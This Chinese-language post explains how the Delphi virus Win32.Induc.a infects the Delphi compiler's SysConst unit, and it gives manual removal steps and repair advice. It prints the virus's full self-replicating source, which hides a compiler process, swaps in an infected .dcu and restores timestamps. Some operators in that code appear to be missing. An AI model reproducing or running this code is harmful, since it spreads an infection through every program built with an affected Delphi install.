Delphi Virus.Win32.Induc.a
解决方法
Virus.Win32.Induc.a
病毒利用了
Delphi
开发环境创建可执行文件时所采用的二步过程机制。首先,源代码被编译成中间
.dcu
文件(
Delphi
已编译单元文件),然后这些中间
.dcu
文件会被关联用于创建最终的
Windows
可执行文件。
被感染的文件中都包含有以下代码:
uses windows;
var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of
string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to
length(s) do if s',
'=#36 then s:=#39;result:=s;end;procedure re(s,d,e:string);var
f1,f2:textfile;',
'h:cardinal
;f:STARTUPINFO
;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if hDWORD(-1) then
begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult0 then
exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult0 then begin
closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if
pos($implementation$,s)0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23
do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24
do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu
$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f);
f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),
0,0,false,0,0,0,',
'f,p);if b then
WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+
$bak$),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then
exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var
k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=?$ to ?$ do if
RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),
0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then
begin r:=$$i:=',
'1; while c#0 do begin r:=r+c;inc(i);end;re(r+$\source\rtl
\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe"
$);end;RegCloseKey(k);end; end;',
'begin st; end.');
function x(s:string):string;
var
i:integer;
begin
for i:=1 to length(s) do
这种病毒会在被感染程序运行时被激活。激活后,病毒会检查计算机上是否安装了
Delphi
开发环境系统,检查的版本包括
4.0, 5.0, 6.0
以及
7.0
。一旦发现安装了
Delphi
,
Virus.Win32.Induc.a
病毒会对
Delphi
源文件
Sysconst.pas
进行编译,生成一个修改过的名为
Sysconst.dcu
的编译文件。
我的
Delphi
是
6.0
的,首先检查
\Borland\Delphi6\Source\Rtl\Sys\SysConst.pas
这个文件是否别感染,然后删除
\Borland\Delphi6\Lib\sysconst.bak
和
\Borland\Delphi6\Lib\ sysconst.dcu
这两个文件。在把
\Borland\Delphi6\Lib\Debug\sysconst.dcu
这个文件拷贝到原来的目录下就可以了。还要把注册表中
RootDir
值修改成别的
,
病毒就获取不到路径了。
至于已经感染的
EXE
文件,现在网上也没有针对这个病毒的专杀工具,可以用卡巴斯基修复,大部分被感染的
EXE
文件是可以被修复的。